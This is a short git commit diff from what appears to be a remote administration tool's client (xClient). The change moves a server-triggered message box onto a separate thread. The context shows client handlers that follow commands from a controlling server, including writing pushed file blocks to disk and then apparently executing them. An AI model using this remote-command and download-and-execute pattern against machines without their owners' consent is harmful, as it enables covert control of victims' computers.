Fixed blocking MessageBox

This commit is contained in:
MaxXor 2015-04-09 19:13:05 +02:00
parent 0b2b91c376
commit 42803078be
1 changed files with 8 additions and 2 deletions

View File

@ -109,7 +109,7 @@ namespace xClient.Core.Commands
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
new Packets.ClientPackets.Status(string.Format("Writing failed: {0}", destFile.LastError)).Execute(client);
return;
return;
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
@ -470,7 +470,13 @@ namespace xClient.Core.Commands
public static void HandleShowMessageBox(Packets.ServerPackets.ShowMessageBox command, Client client)
{
MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon));
new Thread(() =>
{
MessageBox.Show(null, command.Text, command.Caption,
(MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton),
(MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon));
}).Start();
new Packets.ClientPackets.Status("Showed Messagebox").Execute(client);
}